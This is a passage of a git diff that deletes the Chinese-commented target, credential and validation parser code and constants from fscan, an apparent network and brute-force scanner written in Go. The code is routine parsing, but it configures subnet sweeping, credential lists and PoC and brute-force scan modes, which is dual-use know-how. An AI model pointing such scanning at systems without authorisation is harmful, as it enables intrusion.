- sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet)) // 默认网关
- sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, RouterSwitchLastOctet)) // 通常用于路由器/交换机
-
- // 随机采样不同范围的主机IP
- fourthOctet := tp.randomInt(SamplingMinHost, SamplingMaxHost)
- sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
- }
- }
-
- // 对其他二级网段进行稀疏采样
- for secondOctet := 0; secondOctet < 256; secondOctet += Subnet8SamplingStep {
- for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8SamplingStep {
- // 对于采样的网段,取几个代表性IP
- sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet))
- sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, tp.randomInt(SamplingMinHost, SamplingMaxHost)))
- }
- }
-
- // 限制采样数量
- if len(sampleIPs) > tp.options.MaxTargets {
- sampleIPs = sampleIPs[:tp.options.MaxTargets]
- }
-
- return sampleIPs
-}
-
-// randomInt 生成指定范围内的随机整数
-func (tp *TargetParser) randomInt(min, max int) int {
- if min >= max || min < 0 || max <= 0 {
- return max
- }
- return min + (max-min)/2 // 简化版本,避免依赖rand
-}
-
-// parsePortRange 解析端口范围
-func (tp *TargetParser) parsePortRange(rangeStr string) ([]int, error) {
- parts := strings.Split(rangeStr, "-")
- if len(parts) != 2 {
- return nil, fmt.Errorf("无效的端口范围格式")
- }
-
- startPort, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
- endPort, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
-
- if err1 != nil || err2 != nil {
- return nil, fmt.Errorf("无效的端口号")
- }
-
- if startPort > endPort {
- startPort, endPort = endPort, startPort
- }
-
- if startPort < MinPort || endPort > MaxPort {
- return nil, fmt.Errorf("端口号超出范围")
- }
-
- var ports []int
- for port := startPort; port <= endPort; port++ {
- ports = append(ports, port)
- }
-
- return ports, nil
-}
-
-// nextIP 获取下一个IP地址
-func (tp *TargetParser) nextIP(ip net.IP) {
- for j := len(ip) - 1; j >= 0; j-- {
- ip[j]++
- if ip[j] > 0 {
- break
- }
- }
-}
-
-// validateHost 验证主机地址
-func (tp *TargetParser) validateHost(host string) (bool, error) {
- if host == "" {
- return false, fmt.Errorf("主机地址为空")
- }
-
- // 检查是否为host:port格式
- if strings.Contains(host, ":") {
- // 可能是host:port格式,尝试分离
- if h, portStr, err := net.SplitHostPort(host); err == nil {
- // 验证端口号
- if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
- // 递归验证主机部分(不包含端口)
- return tp.validateHost(h)
- }
- }
- // 如果不是有效的host:port格式,继续按普通主机地址处理
- }
-
- // 检查是否为IP地址
- if ip := net.ParseIP(host); ip != nil {
- return tp.validateIP(ip)
- }
-
- // 检查是否为域名
- if tp.isValidDomain(host) {
- return true, nil
- }
-
- return false, fmt.Errorf("无效的主机地址格式")
-}
-
-// validateIP 验证IP地址
-func (tp *TargetParser) validateIP(ip net.IP) (bool, error) {
- if ip == nil {
- return false, fmt.Errorf("IP地址为空")
- }
-
- // 检查是否为私有IP
- if !tp.options.AllowPrivateIPs && tp.isPrivateIP(ip) {
- return false, fmt.Errorf("不允许私有IP地址")
- }
-
- // 检查是否为回环地址
- if !tp.options.AllowLoopback && ip.IsLoopback() {
- return false, fmt.Errorf("不允许回环地址")
- }
-
- return true, nil
-}
-
-// validateURL 验证URL
-func (tp *TargetParser) validateURL(rawURL string) (bool, error) {
- if rawURL == "" {
- return false, fmt.Errorf("URL为空")
- }
-
- if !tp.options.ValidateURLs {
- return true, nil
- }
-
- if !tp.urlRegex.MatchString(rawURL) {
- return false, fmt.Errorf("URL格式无效")
- }
-
- // 进一步验证URL格式
- _, err := url.Parse(rawURL)
- if err != nil {
- return false, fmt.Errorf("URL解析失败: %v", err)
- }
-
- return true, nil
-}
-
-// validateHostPort 验证主机端口组合
-func (tp *TargetParser) validateHostPort(hostPort string) (bool, error) {
- parts := strings.Split(hostPort, ":")
- if len(parts) != 2 {
- return false, fmt.Errorf("主机端口格式无效,应为 host:port")
- }
-
- host := strings.TrimSpace(parts[0])
- portStr := strings.TrimSpace(parts[1])
-
- // 验证主机
- if valid, err := tp.validateHost(host); !valid {
- return false, fmt.Errorf("主机无效: %v", err)
- }
-
- // 验证端口
- port, err := strconv.Atoi(portStr)
- if err != nil {
- return false, fmt.Errorf("端口号无效: %s", portStr)
- }
-
- if port < MinPort || port > MaxPort {
- return false, fmt.Errorf("端口号超出范围: %d", port)
- }
-
- return true, nil
-}
-
-// isPrivateIP 检查是否为私有IP
-func (tp *TargetParser) isPrivateIP(ip net.IP) bool {
- if ip4 := ip.To4(); ip4 != nil {
- // 10.0.0.0/8
- if ip4[0] == 10 {
- return true
- }
- // 172.16.0.0/12
- if ip4[0] == 172 && ip4[1] >= Private172StartSecondOctet && ip4[1] <= Private172EndSecondOctet {
- return true
- }
- // 192.168.0.0/16
- if ip4[0] == 192 && ip4[1] == Private192SecondOctet {
- return true
- }
- }
- return false
-}
-
-// isValidDomain 检查是否为有效域名
-func (tp *TargetParser) isValidDomain(domain string) bool {
- return CompiledDomainRegex.MatchString(domain) && len(domain) <= MaxDomainLength
-}
-
-// excludeHosts 排除指定主机
-func (tp *TargetParser) excludeHosts(hosts, excludeList []string) []string {
- excludeMap := make(map[string]struct{})
- for _, exclude := range excludeList {
- excludeMap[exclude] = struct{}{}
- }
-
- var result []string
- for _, host := range hosts {
- if _, excluded := excludeMap[host]; !excluded {
- result = append(result, host)
- }
- }
-
- return result
-}
-
-// removeDuplicateStrings 去重字符串切片
-func (tp *TargetParser) removeDuplicateStrings(slice []string) []string {
- seen := make(map[string]struct{})
- var result []string
-
- for _, item := range slice {
- if _, exists := seen[item]; !exists {
- seen[item] = struct{}{}
- result = append(result, item)
- }
- }
-
- return result
-}
-
-// removeDuplicatePorts 去重端口切片
-func (tp *TargetParser) removeDuplicatePorts(slice []int) []int {
- seen := make(map[int]struct{})
- var result []int
-
- for _, item := range slice {
- if _, exists := seen[item]; !exists {
- seen[item] = struct{}{}
- result = append(result, item)
- }
- }
-
- return result
-}
-
-// generateStatistics 生成统计信息
-func (tp *TargetParser) generateStatistics(hosts, urls []string, ports, excludePorts []int) *TargetStatistics {
- return &TargetStatistics{
- TotalHosts: len(hosts),
- TotalURLs: len(urls),
- TotalPorts: len(ports),
- ExcludedPorts: len(excludePorts),
- }
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
-// =============================================================================================
\ No newline at end of file
diff --git a/Common/parsers/Types.go b/Common/parsers/Types.go
deleted file mode 100644
index e5cc3b3..0000000
--- a/Common/parsers/Types.go
+++ /dev/null
@@ -1,163 +0,0 @@
-package parsers
-
-import (
- "errors"
- "fmt"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-// ParsedConfig 解析后的完整配置
-type ParsedConfig struct {
- Targets *TargetConfig `json:"targets"`
- Credentials *CredentialConfig `json:"credentials"`
- Network *NetworkConfig `json:"network"`
- Validation *ValidationConfig `json:"validation"`
-}
-
-// TargetConfig 目标配置
-type TargetConfig struct {
- Hosts []string `json:"hosts"`
- URLs []string `json:"urls"`
- Ports []int `json:"ports"`
- ExcludePorts []int `json:"exclude_ports"`
- HostPorts []string `json:"host_ports"`
- LocalMode bool `json:"local_mode"`
- Statistics *TargetStatistics `json:"statistics,omitempty"`
-}
-
-// TargetStatistics 目标解析统计
-type TargetStatistics struct {
- TotalHosts int `json:"total_hosts"`
- TotalURLs int `json:"total_urls"`
- TotalPorts int `json:"total_ports"`
- ExcludedHosts int `json:"excluded_hosts"`
- ExcludedPorts int `json:"excluded_ports"`
-}
-
-// CredentialConfig 认证配置
-type CredentialConfig struct {
- Usernames []string `json:"usernames"`
- Passwords []string `json:"passwords"`
- HashValues []string `json:"hash_values"`
- HashBytes [][]byte `json:"hash_bytes,omitempty"`
- SshKeyPath string `json:"ssh_key_path"`
- Domain string `json:"domain"`
- Statistics *CredentialStats `json:"statistics,omitempty"`
-}
-
-// CredentialStats 认证配置统计
-type CredentialStats struct {
- TotalUsernames int `json:"total_usernames"`
- TotalPasswords int `json:"total_passwords"`
- TotalHashes int `json:"total_hashes"`
- UniqueUsernames int `json:"unique_usernames"`
- UniquePasswords int `json:"unique_passwords"`
- ValidHashes int `json:"valid_hashes"`
- InvalidHashes int `json:"invalid_hashes"`
-}
-
-// NetworkConfig 网络配置
-type NetworkConfig struct {
- HttpProxy string `json:"http_proxy"`
- Socks5Proxy string `json:"socks5_proxy"`
- Timeout time.Duration `json:"timeout"`
- WebTimeout time.Duration `json:"web_timeout"`
- DisablePing bool `json:"disable_ping"`
- EnableDNSLog bool `json:"enable_dns_log"`
- UserAgent string `json:"user_agent"`
- Cookie string `json:"cookie"`
-}
-
-// ValidationConfig 验证配置
-type ValidationConfig struct {
- ScanMode string `json:"scan_mode"`
- ConflictChecked bool `json:"conflict_checked"`
- Errors []error `json:"errors,omitempty"`
- Warnings []string `json:"warnings,omitempty"`
-}
-
-// ParseResult 解析结果
-type ParseResult struct {
- Config *ParsedConfig `json:"config"`
- Success bool `json:"success"`
- Errors []error `json:"errors,omitempty"`
- Warnings []string `json:"warnings,omitempty"`
- ParseTime time.Duration `json:"parse_time"`
-}
-
-// 预定义错误类型
-var (
- ErrEmptyInput = errors.New(i18n.GetText("parser_empty_input"))
-)
-
-// ParserOptions 解析器选项
-type ParserOptions struct {
- EnableConcurrency bool // 启用并发解析
- MaxWorkers int // 最大工作协程数
- Timeout time.Duration // 解析超时时间
- EnableValidation bool // 启用详细验证
- EnableStatistics bool // 启用统计信息
- IgnoreErrors bool // 忽略非致命错误
- FileMaxSize int64 // 文件最大大小限制
- MaxTargets int // 最大目标数量限制
-}
-
-// DefaultParserOptions 返回默认解析器选项
-func DefaultParserOptions() *ParserOptions {
- return &ParserOptions{
- EnableConcurrency: DefaultEnableConcurrency,
- MaxWorkers: DefaultMaxWorkers,
- Timeout: DefaultTimeout,
- EnableValidation: DefaultEnableValidation,
- EnableStatistics: DefaultEnableStatistics,
- IgnoreErrors: DefaultIgnoreErrors,
- FileMaxSize: DefaultFileMaxSize,
- MaxTargets: DefaultMaxTargets,
- }
-}
-
-// Parser 解析器接口
-type Parser interface {
- Parse(options *ParserOptions) (*ParseResult, error)
- Validate() error
- GetStatistics() interface{}
-}
-
-// FileSource 文件源
-type FileSource struct {
- Path string `json:"path"`
- Size int64 `json:"size"`
- ModTime time.Time `json:"mod_time"`
- LineCount int `json:"line_count"`
- ValidLines int `json:"valid_lines"`
-}
-
-// ParseError 解析错误,包含详细上下文
-type ParseError struct {
- Type string `json:"type"`
- Message string `json:"message"`
- Source string `json:"source"`
- Line int `json:"line,omitempty"`
- Context string `json:"context,omitempty"`
- Original error `json:"original,omitempty"`
-}
-
-func (e *ParseError) Error() string {
- if e.Line > 0 {
- return fmt.Sprintf("%s:%d - %s: %s", e.Source, e.Line, e.Type, e.Message)
- }
- return fmt.Sprintf("%s - %s: %s", e.Source, e.Type, e.Message)
-}
-
-// NewParseError 创建解析错误
-func NewParseError(errType, message, source string, line int, original error) *ParseError {
- return &ParseError{
- Type: errType,
- Message: message,
- Source: source,
- Line: line,
- Original: original,
- }
-}
diff --git a/Common/parsers/ValidationParser.go b/Common/parsers/ValidationParser.go
deleted file mode 100644
index 4bf6e3b..0000000
--- a/Common/parsers/ValidationParser.go
+++ /dev/null
@@ -1,293 +0,0 @@
-package parsers
-
-import (
- "fmt"
- "sync"
- "time"
-)
-
-// ValidationParser 参数验证解析器
-type ValidationParser struct {
- mu sync.RWMutex //nolint:unused // reserved for future thread safety
- options *ValidationParserOptions
-}
-
-// ValidationParserOptions 验证解析器选项
-type ValidationParserOptions struct {
- StrictMode bool `json:"strict_mode"` // 严格模式
- AllowEmpty bool `json:"allow_empty"` // 允许空配置
- CheckConflicts bool `json:"check_conflicts"` // 检查参数冲突
- ValidateTargets bool `json:"validate_targets"` // 验证目标有效性
- ValidateNetwork bool `json:"validate_network"` // 验证网络配置
- MaxErrorCount int `json:"max_error_count"` // 最大错误数量
-}
-
-// DefaultValidationParserOptions 默认验证解析器选项
-func DefaultValidationParserOptions() *ValidationParserOptions {
- return &ValidationParserOptions{
- StrictMode: DefaultStrictMode,
- AllowEmpty: DefaultAllowEmpty,
- CheckConflicts: DefaultCheckConflicts,
- ValidateTargets: DefaultValidateTargets,
- ValidateNetwork: DefaultValidateNetwork,
- MaxErrorCount: DefaultMaxErrorCount,
- }
-}
-
-// NewValidationParser 创建验证解析器
-func NewValidationParser(options *ValidationParserOptions) *ValidationParser {
- if options == nil {
- options = DefaultValidationParserOptions()
- }
-
- return &ValidationParser{
- options: options,
- }
-}
-
-// ValidationInput 验证输入参数
-type ValidationInput struct {
- // 扫描模式
- ScanMode string `json:"scan_mode"`
- LocalMode bool `json:"local_mode"`
-
- // 目标配置
- HasHosts bool `json:"has_hosts"`
- HasURLs bool `json:"has_urls"`
- HasPorts bool `json:"has_ports"`
-
- // 网络配置
- HasProxy bool `json:"has_proxy"`
- DisablePing bool `json:"disable_ping"`
-
- // 凭据配置
- HasCredentials bool `json:"has_credentials"`
-
- // 特殊模式
- PocScan bool `json:"poc_scan"`
- BruteScan bool `json:"brute_scan"`
- LocalScan bool `json:"local_scan"`
-}
-
-// ConflictRule 冲突规则
-type ConflictRule struct {
- Name string `json:"name"`
- Description string `json:"description"`
- Fields []string `json:"fields"`
- Severity string `json:"severity"` // error, warning, info
-}
-
-// ValidationRule 验证规则
-type ValidationRule struct {
- Name string `json:"name"`
- Description string `json:"description"`
- Validator func(input *ValidationInput) error `json:"-"`
- Severity string `json:"severity"`
-}
-
-// Parse 执行参数验证
-func (vp *ValidationParser) Parse(input *ValidationInput, config *ParsedConfig, options *ParserOptions) (*ParseResult, error) {
- if input == nil {
- return nil, NewParseError(ErrorTypeInputError, "验证输入为空", "", 0, ErrEmptyInput)
- }
-
- startTime := time.Now()
- result := &ParseResult{
- Config: &ParsedConfig{
- Validation: &ValidationConfig{
- ScanMode: input.ScanMode,
- ConflictChecked: true,
- },
- },
- Success: true,
- }
-
- var errors []error
- var warnings []string
-
- // 基础验证
- basicErrors, basicWarnings := vp.validateBasic(input)
- errors = append(errors, basicErrors...)
- warnings = append(warnings, basicWarnings...)
-
- // 冲突检查
- if vp.options.CheckConflicts {
- conflictErrors, conflictWarnings := vp.checkConflicts(input)
- errors = append(errors, conflictErrors...)
- warnings = append(warnings, conflictWarnings...)
- }
-
- // 逻辑验证
- logicErrors, logicWarnings := vp.validateLogic(input, config)
- errors = append(errors, logicErrors...)
- warnings = append(warnings, logicWarnings...)
-
-
- // 性能建议
- performanceWarnings := vp.checkPerformance(input, config)
- warnings = append(warnings, performanceWarnings...)
-
- // 检查错误数量限制
- if len(errors) > vp.options.MaxErrorCount {
- errors = errors[:vp.options.MaxErrorCount]
- warnings = append(warnings, fmt.Sprintf("错误数量过多,仅显示前%d个", vp.options.MaxErrorCount))
- }
-
- // 更新结果
- result.Config.Validation.Errors = errors
- result.Config.Validation.Warnings = warnings
- result.Errors = errors
- result.Warnings = warnings
- result.ParseTime = time.Since(startTime)
- result.Success = len(errors) == 0
-
- return result, nil
-}
-
-// validateBasic 基础验证
-func (vp *ValidationParser) validateBasic(input *ValidationInput) ([]error, []string) {
- var errors []error
- var warnings []string
-
- // 检查是否有任何目标
- if !input.HasHosts && !input.HasURLs && !input.LocalMode {
- if !vp.options.AllowEmpty {
- errors = append(errors, NewParseError("VALIDATION_ERROR", "未指定任何扫描目标", "basic", 0, nil))
- } else {
- warnings = append(warnings, "未指定扫描目标,将使用默认配置")
- }
- }
-
- // 检查扫描模式
- if input.ScanMode != "" {
- if err := vp.validateScanMode(input.ScanMode); err != nil {
- if vp.options.StrictMode {
- errors = append(errors, err)
- } else {
- warnings = append(warnings, err.Error())
- }
- }
- }
-
- return errors, warnings
-}
-
-// checkConflicts 检查参数冲突
-func (vp *ValidationParser) checkConflicts(input *ValidationInput) ([]error, []string) {
- var errors []error
- var warnings []string
-
- // 定义冲突规则 (预留用于扩展)
- _ = []ConflictRule{
- {
- Name: "multiple_scan_modes",
- Description: "不能同时使用多种扫描模式",
- Fields: []string{"hosts", "urls", "local_mode"},
- Severity: "error",
- },
- {
- Name: "proxy_with_ping",
- Description: "使用代理时建议禁用Ping检测",
- Fields: []string{"proxy", "ping"},
- Severity: "warning",
- },
- }
-
- // 检查扫描模式冲突
- scanModes := 0
- if input.HasHosts {
- scanModes++
- }
- if input.HasURLs {
- scanModes++
- }
- if input.LocalMode {
- scanModes++
- }
-
- if scanModes > 1 {
- errors = append(errors, NewParseError("CONFLICT_ERROR",
- "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)", "validation", 0, nil))
- }
-
- // 检查代理和Ping冲突
- if input.HasProxy && !input.DisablePing {
- warnings = append(warnings, "代理模式下Ping检测可能失效")
- }
-
- return errors, warnings
-}
-
-// validateLogic 逻辑验证
-func (vp *ValidationParser) validateLogic(input *ValidationInput, config *ParsedConfig) ([]error, []string) {
- var errors []error
- var warnings []string
-
- // 验证目标配置逻辑
- if vp.options.ValidateTargets && config != nil && config.Targets != nil {
-
- // 检查排除端口配置
- if len(config.Targets.ExcludePorts) > 0 && len(config.Targets.Ports) == 0 {
- warnings = append(warnings, "排除端口无效")
- }
- }
-
-
- return errors, warnings
-}
-
-
-// checkPerformance 性能检查
-func (vp *ValidationParser) checkPerformance(input *ValidationInput, config *ParsedConfig) []string {
- var warnings []string
-
- if config == nil {
- return warnings
- }
-
- // 检查目标数量
- if config.Targets != nil {
- totalTargets := len(config.Targets.Hosts) * len(config.Targets.Ports)
- if totalTargets > MaxTargetsThreshold {
- warnings = append(warnings, fmt.Sprintf("大量目标(%d),可能耗时较长", totalTargets))
- }
-
- // 检查端口范围
- if len(config.Targets.Ports) > DefaultMaxPortRange {
- warnings = append(warnings, "端口数量过多")
- }
- }
-
- // 检查超时配置
- if config.Network != nil {
- if config.Network.Timeout < MinTimeoutThreshold {
- warnings = append(warnings, "超时过短")
- }
- if config.Network.Timeout > MaxTimeoutThreshold {
- warnings = append(warnings, "超时过长")
- }
- }
-
- return warnings
-}
-
-// validateScanMode 验证扫描模式
-func (vp *ValidationParser) validateScanMode(scanMode string) error {
- validModes := []string{"all", "icmp"}
-
- // 检查是否为预定义模式
- for _, mode := range validModes {
- if scanMode == mode {
- return nil
- }
- }
-
- // 允许插件名称作为扫描模式,实际插件验证在运行时进行
- // 这里不做严格验证,避免维护两套插件列表
- return nil
-}
-
-
-// =============================================================================================
-// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
-// =============================================================================================
\ No newline at end of file
diff --git a/Common/parsers/constants.go b/Common/parsers/constants.go
deleted file mode 100644
index 42f1e4a..0000000
--- a/Common/parsers/constants.go
+++ /dev/null
@@ -1,276 +0,0 @@
-package parsers
-
-import (
- "regexp"
- "time"
-
- "github.com/shadow1ng/fscan/common/base"
-)
-
-/*
-constants.go - 解析器系统常量定义
-
-统一管理common/parsers包中的所有常量,便于查看和编辑。
-*/
-
-// =============================================================================
-// 默认解析器选项常量 (从Types.go迁移)
-// =============================================================================
-
-const (
- // 解析器默认配置
- DefaultEnableConcurrency = true
- DefaultMaxWorkers = 4
- DefaultTimeout = 30 * time.Second
- DefaultEnableValidation = true
- DefaultEnableStatistics = true
- DefaultIgnoreErrors = false
- DefaultFileMaxSize = 100 * 1024 * 1024 // 100MB
- DefaultMaxTargets = 10000 // 10K targets
-)
-
-// =============================================================================
-// 文件读取器常量 (从FileReader.go迁移)
-// =============================================================================
-
-const (
- // 文件读取器默认配置
- DefaultMaxCacheSize = 10
- DefaultEnableCache = true
- DefaultFileReaderMaxFileSize = 50 * 1024 * 1024 // 50MB
- DefaultFileReaderTimeout = 30 * time.Second
- DefaultFileReaderEnableValidation = true
- DefaultTrimSpace = true
- DefaultSkipEmpty = true
- DefaultSkipComments = true
-
- // 文件内容验证
- MaxLineLength = 1000 // 单行最大字符数
- MaxValidRune = 32 // 最小有效字符ASCII值
- TabRune = 9 // Tab字符
- NewlineRune = 10 // 换行符
- CarriageReturnRune = 13 // 回车符
- CommentPrefix = "#" // 注释前缀
-)
-
-// =============================================================================
-// 凭据解析器常量 (从CredentialParser.go迁移)
-// =============================================================================
-
-const (
- // 凭据验证限制
- DefaultMaxUsernameLength = 64
- DefaultMaxPasswordLength = 128
- DefaultAllowEmptyPasswords = true
- DefaultValidateHashes = true
- DefaultDeduplicateUsers = true
- DefaultDeduplicatePasswords = true
- DefaultCredentialsEnableStatistics = true
-
- // 哈希验证
- HashRegexPattern = `^[a-fA-F0-9]{32}$` // MD5哈希正则表达式
- HashValidationLength = 32 // 有效哈希长度
- InvalidUsernameChars = "\r\n\t" // 无效用户名字符
-)
-
-// =============================================================================
-// 网络解析器常量 (从NetworkParser.go迁移)
-// =============================================================================
-
-const (
- // 网络配置默认值
- DefaultValidateProxies = true
- DefaultAllowInsecure = false
- DefaultNetworkTimeout = 30 * time.Second
- DefaultWebTimeout = 10 * time.Second
- DefaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
-
- // 超时限制
- MaxTimeoutSeconds = 300 // 最大超时5分钟
- MaxWebTimeoutSeconds = 120 // 最大Web超时2分钟
-
- // 字符串长度限制
- MaxUserAgentLength = 512 // 最大用户代理长度
- MaxCookieLength = 4096 // 最大Cookie长度
-
- // 代理快捷配置
- ProxyShortcut1 = "1"
- ProxyShortcut2 = "2"
- ProxyShortcutHTTP = "http://127.0.0.1:8080"
- ProxyShortcutSOCKS5 = "socks5://127.0.0.1:1080"
-
- // 协议支持
- ProtocolHTTP = "http"
- ProtocolHTTPS = "https"
- ProtocolSOCKS5 = "socks5"
- ProtocolPrefix = "://"
- SOCKS5Prefix = "socks5://"
- HTTPPrefix = "http://"
-
- // 端口范围
- MinPort = 1
- MaxPort = 65535
-
- // 无效字符集
- InvalidUserAgentChars = "\r\n\t"
-)
-
-// GetCommonBrowsers 获取常见浏览器标识列表
-func GetCommonBrowsers() []string {
- return []string{
- "Mozilla", "Chrome", "Safari", "Firefox", "Edge", "Opera",
- "AppleWebKit", "Gecko", "Trident", "Presto",
- }
-}
-
-// =============================================================================
-// 目标解析器常量 (从TargetParser.go迁移)
-// =============================================================================
-
-const (
- // 目标解析器默认配置
- DefaultTargetMaxTargets = 10000
- DefaultMaxPortRange = 1000
- DefaultAllowPrivateIPs = true
- DefaultAllowLoopback = true
- DefaultValidateURLs = true
- DefaultResolveDomains = false
- DefaultTargetEnableStatistics = true
-
- // 正则表达式模式
- IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
- PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
- URLValidationRegexPattern = `^https?://[^\s]+$`
- DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
- CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
-
- // IP地址限制
- MaxIPv4OctetValue = 255
- IPv4OctetCount = 4
- MaxDomainLength = 253
-
- // CIDR网段简写
- PrivateNetwork192 = "192"
- PrivateNetwork172 = "172"
- PrivateNetwork10 = "10"
- PrivateNetwork192CIDR = "192.168.0.0/16"
- PrivateNetwork172CIDR = "172.16.0.0/12"
- PrivateNetwork10CIDR = "10.0.0.0/8"
-
- // 私有网络范围
- Private172StartSecondOctet = 16
- Private172EndSecondOctet = 31
- Private192SecondOctet = 168
-
- // /8网段采样配置
- Subnet8SamplingStep = 32
- Subnet8ThirdOctetStep = 10
-
- // IP地址计算位移
- IPFirstOctetShift = 24
- IPSecondOctetShift = 16
- IPThirdOctetShift = 8
- IPOctetMask = 0xFF
-)
-
-// GetCommonSecondOctets 获取常用第二段IP
-func GetCommonSecondOctets() []int {
- return []int{0, 1, 2, 10, 100, 200, 254}
-}
-
-// =============================================================================
-// 简化解析器常量 (从Simple.go迁移)
-// =============================================================================
-
-const (
- // 端口和主机限制
- SimpleMaxHosts = 10000
-
- // 网段简写展开
- DefaultGatewayLastOctet = 1
- RouterSwitchLastOctet = 254
- SamplingMinHost = 2
- SamplingMaxHost = 253
-)
-
-// GetPortGroups 获取预定义端口组映射(统一的端口组定义)
-func GetPortGroups() map[string]string {
- return map[string]string{
- "web": base.WebPorts, // 使用实际的WebPorts常量
- "main": base.MainPorts, // 使用实际的MainPorts常量
- "db": base.DbPorts, // 使用实际的DbPorts常量
- "service": base.ServicePorts, // 使用实际的ServicePorts常量
- "common": base.CommonPorts, // 使用实际的CommonPorts常量
- "all": base.AllPorts, // 使用实际的AllPorts常量
- }
-}
-
-// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容,调用统一函数)
-func GetTargetPortGroups() map[string]string {
- return GetPortGroups()
-}
-
-// =============================================================================
-// 验证解析器常量 (从ValidationParser.go迁移)
-// =============================================================================
-
-const (
- // 验证解析器默认配置
- DefaultMaxErrorCount = 100
- DefaultStrictMode = false
- DefaultAllowEmpty = true
- DefaultCheckConflicts = true
- DefaultValidateTargets = true
- DefaultValidateNetwork = true
-
- // 性能警告阈值
- MaxTargetsThreshold = 100000 // 最大目标数量阈值
- MinTimeoutThreshold = 1 * time.Second // 最小超时阈值
- MaxTimeoutThreshold = 60 * time.Second // 最大超时阈值
-)
-
-// =============================================================================
-// 错误类型常量
-// =============================================================================
-
-const (
- // 解析错误类型
- ErrorTypeInputError = "INPUT_ERROR"
- ErrorTypeFileError = "FILE_ERROR"
- ErrorTypeTimeout = "TIMEOUT"
- ErrorTypeReadError = "READ_ERROR"
- ErrorTypeUsernameError = "USERNAME_ERROR"
- ErrorTypePasswordError = "PASSWORD_ERROR"
- ErrorTypeHashError = "HASH_ERROR"
- ErrorTypeProxyError = "PROXY_ERROR"
- ErrorTypeUserAgentError = "USERAGENT_ERROR"
- ErrorTypeCookieError = "COOKIE_ERROR"
- ErrorTypeHostError = "HOST_ERROR"
- ErrorTypePortError = "PORT_ERROR"
- ErrorTypeExcludePortError = "EXCLUDE_PORT_ERROR"
-
-)
-
-// =============================================================================
-// 编译时正则表达式
-// =============================================================================
-
-var (
- // 预编译的正则表达式,提高性能
- CompiledHashRegex *regexp.Regexp
- CompiledIPv4Regex *regexp.Regexp
- CompiledPortRegex *regexp.Regexp
- CompiledURLRegex *regexp.Regexp
- CompiledDomainRegex *regexp.Regexp
- CompiledCookieRegex *regexp.Regexp
-)
-
-// 在包初始化时编译正则表达式
-func init() {
- CompiledHashRegex = regexp.MustCompile(HashRegexPattern)
- CompiledIPv4Regex = regexp.MustCompile(IPv4RegexPattern)
- CompiledPortRegex = regexp.MustCompile(PortRangeRegexPattern)
- CompiledURLRegex = regexp.MustCompile(URLValidationRegexPattern)
- CompiledDomainRegex = regexp.MustCompile(DomainRegexPattern)
- CompiledCookieRegex = regexp.MustCompile(CookieRegexPattern)
-}
\ No newline at end of file
diff --git a/Common/proxy/Factory.go b/Common/proxy/Factory.go
deleted file mode 100644
index d24b9d9..0000000
--- a/Common/proxy/Factory.go
+++ /dev/null
@@ -1,14 +0,0 @@
-package proxy
-
-// 已清理未使用的导入
-
-// =============================================================================================
-// 已删除的死代码(未使用):
-// - ParseProxyURL: 解析代理URL
-// - CreateProxyManager: 创建代理管理器
-// - ValidateProxyConfig: 验证代理配置
-// - GetProxyTypeFromString: 从字符串获取代理类型
-// - BuildProxyURL: 构建代理URL
-// - IsProxyEnabled: 检查是否启用了代理
-// - GetDefaultProxyConfigForType: 获取指定类型的默认配置
-// =============================================================================================
\ No newline at end of file
diff --git a/Common/proxy/Global.go b/Common/proxy/Global.go
deleted file mode 100644
index 9c581ff..0000000
--- a/Common/proxy/Global.go
+++ /dev/null
@@ -1,22 +0,0 @@
-package proxy
-
-// 已清理未使用的导入和全局变量
-
-// =============================================================================================
-// 已删除的死代码(未使用):
-// - globalManager: 全局代理管理器变量
-// - globalMutex: 全局互斥锁
-// - once: 全局初始化once变量
-// - InitGlobalProxy: 初始化全局代理管理器
-// - GetGlobalProxy: 获取全局代理管理器
-// - UpdateGlobalProxyConfig: 更新全局代理配置
-// - CloseGlobalProxy: 关闭全局代理管理器
-// - GetGlobalProxyStats: 获取全局代理统计信息
-// - DialWithProxy: 使用全局代理拨号
-// - DialContextWithProxy: 使用全局代理和上下文拨号
-// - DialTLSWithProxy: 使用全局代理建立TLS连接
-// - DialTLSContextWithProxy: 使用全局代理和上下文建立TLS连接
-// - IsProxyEnabledGlobally: 检查全局是否启用了代理
-// - GetGlobalProxyType: 获取全局代理类型
-// - GetGlobalProxyAddress: 获取全局代理地址
-// =============================================================================================
\ No newline at end of file
diff --git a/Common/proxy/HTTPDialer.go b/Common/proxy/HTTPDialer.go
deleted file mode 100644
index 8239e7c..0000000
--- a/Common/proxy/HTTPDialer.go
+++ /dev/null
@@ -1,112 +0,0 @@
-package proxy
-
-import (
- "bufio"
- "context"
- "encoding/base64"
- "fmt"
- "net"
- "net/http"
- "sync/atomic"
- "time"
-)
-
-// httpDialer HTTP代理拨号器
-type httpDialer struct {
- config *ProxyConfig
- stats *ProxyStats
- baseDial *net.Dialer
-}
-
